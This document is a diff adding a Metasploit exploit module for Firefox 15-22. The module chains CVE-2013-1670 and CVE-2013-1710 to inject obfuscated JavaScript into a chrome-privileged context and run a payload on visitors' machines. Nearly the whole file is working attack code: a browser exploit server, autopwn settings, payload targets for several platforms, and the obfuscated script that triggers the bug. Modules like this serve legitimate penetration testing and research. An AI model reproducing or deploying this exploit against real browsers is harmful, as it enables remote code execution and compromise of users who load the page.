|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex/exploitation/jsobfu' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::BrowserExploitServer |
| 13 | + include Msf::Exploit::Remote::BrowserAutopwn |
| 14 | + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation |
| 15 | + |
| 16 | + autopwn_info({ |
| 17 | + :ua_name => HttpClients::FF, |
| 18 | + :ua_minver => "15.0", |
| 19 | + :ua_maxver => "22.0", |
| 20 | + :javascript => true, |
| 21 | + :rank => ExcellentRanking |
| 22 | + }) |
| 23 | + |
| 24 | + def initialize(info = {}) |
| 25 | + super(update_info(info, |
| 26 | + 'Name' => 'Firefox toString console.time Privileged Javascript Injection', |
| 27 | + 'Description' => %q{ |
| 28 | + This exploit gains remote code execution on Firefox 15-22 by abusing two separate |
| 29 | + Javascript-related vulnerabilities to ultimately inject malicious Javascript code |
| 30 | + into a context running with chrome:// privileges. |
| 31 | + }, |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'Author' => [ |
| 34 | + 'moz_bug_r_a4', # discovered CVE-2013-1710 |
| 35 | + 'Cody Crews', # discovered CVE-2013-1670 |
| 36 | + 'joev' # metasploit module |
| 37 | + ], |
| 38 | + 'DisclosureDate' => "May 14 2013", |
| 39 | + 'References' => [ |
| 40 | + ['CVE', '2013-1670'], # privileged access for content-level constructor |
| 41 | + ['CVE', '2013-1710'] # further chrome injection |
| 42 | + ], |
| 43 | + 'Targets' => [ |
| 44 | + [ |
| 45 | + 'Universal (Javascript XPCOM Shell)', { |
| 46 | + 'Platform' => 'firefox', |
| 47 | + 'Arch' => ARCH_FIREFOX |
| 48 | + } |
| 49 | + ], |
| 50 | + [ |
| 51 | + 'Native Payload', { |
| 52 | + 'Platform' => %w{ java linux osx solaris win }, |
| 53 | + 'Arch' => ARCH_ALL |
| 54 | + } |
| 55 | + ] |
| 56 | + ], |
| 57 | + 'DefaultTarget' => 0, |
| 58 | + 'BrowserRequirements' => { |
| 59 | + :source => 'script', |
| 60 | + :ua_name => HttpClients::FF, |
| 61 | + :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) } |
| 62 | + } |
| 63 | + )) |
| 64 | + |
| 65 | + register_options([ |
| 66 | + OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) |
| 67 | + ], self.class) |
| 68 | + end |
| 69 | + |
| 70 | + def on_request_exploit(cli, request, target_info) |
| 71 | + send_response_html(cli, generate_html(target_info)) |
| 72 | + end |
| 73 | + |
| 74 | + def generate_html(target_info) |
| 75 | + key = Rex::Text.rand_text_alpha(5 + rand(12)) |
| 76 | + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin |
| 77 | + |
| 78 | + js = Rex::Exploitation::JSObfu.new(%Q| |
| 79 | + var opts = #{JSON.unparse(opts)}; |
| 80 | + var key = opts['#{key}']; |
| 81 | + var y = {}, q = false; |
| 82 | + y.constructor.prototype.toString=function() { |
| 83 | + if (q) return; |
| 84 | + q = true; |
| 85 | + crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex"); |
| 86 | + return 5; |
| 87 | + }; |
| 88 | + console.time(y); |
| 89 | + |) |
| 90 | + |
| 91 | + js.obfuscate |
| 92 | + |
| 93 | + %Q| |
| 94 | + <!doctype html> |
| 95 | + <html> |
| 96 | + <body> |
| 97 | + <script> |
| 98 | + #{js} |
| 99 | + </script> |
| 100 | + #{datastore['CONTENT']} |
| 101 | + </body> |
| 102 | + </html> |
| 103 | + | |
| 104 | + end |
| 105 | +end |
| 106 | + |
0 commit comments